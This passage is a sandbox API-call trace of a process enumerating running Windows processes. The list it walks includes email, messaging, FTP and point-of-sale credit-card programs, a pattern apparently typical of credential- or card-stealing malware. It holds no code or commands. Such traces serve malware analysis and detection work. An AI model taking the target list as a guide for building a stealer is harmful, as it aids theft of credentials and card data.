szExeFile="foxmailincmail.exe")) returned 1 [0054.285] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0054.285] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0054.286] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0054.287] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0054.288] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0054.288] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0054.289] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0054.290] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0054.292] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0054.305] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0054.307] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0054.310] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0054.312] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0054.313] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0054.315] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0054.316] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0054.318] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0054.319] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0054.321] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0054.322] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0054.323] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0054.325] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0054.327] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0054.328] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0054.329] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0054.330] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0054.331] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0054.332] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0054.334] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0054.335] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0054.336] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0054.337] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0054.338] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0054.341] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="underlying tooth.exe")) returned 1 [0054.342] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="extending-stays.exe")) returned 1 [0054.343] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0054.344] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0054.346] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.347] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0054.348] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0054.349] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.350] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0054.351] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0054.352] CloseHandle (hObject=0x2c) returned 1 [0054.352] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2c [0054.358] Process32FirstW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0054.359] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0054.360] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0054.361] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.362] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0054.363] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.364] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0054.365] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0054.366] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0054.367] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0054.368] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.368] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.369] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.370] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.372] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.373] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0054.374] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.375] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.376] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0054.380] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0054.381] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0054.382] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.383] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.383] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0054.384] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pike.exe")) returned 1 [0054.385] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="autos-buddy-posting.exe")) returned 1 [0054.386] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sport_ebooks.exe")) returned 1 [0054.388] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foam-clarity.exe")) returned 1 [0054.389] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ellen.exe")) returned 1 [0054.389] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="branches.exe")) returned 1 [0054.390] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fold_earn_rage.exe")) returned 1 [0054.391] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="estimationstrings.exe")) returned 1 [0054.392] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="implementation-senior-pursue.exe")) returned 1 [0054.393] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="suited_eight_portfolio.exe")) returned 1 [0054.394] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ivory-israel.exe")) returned 1 [0054.395] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="victorian.exe")) returned 1 [0054.396] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="excuse-focusing-korea.exe")) returned 1 [0054.397] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="jeffersonextreme.exe")) returned 1 [0054.398] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="carb-select.exe")) returned 1 [0054.399] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="teenage-remaining-delaware.exe")) returned 1 [0054.400] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: 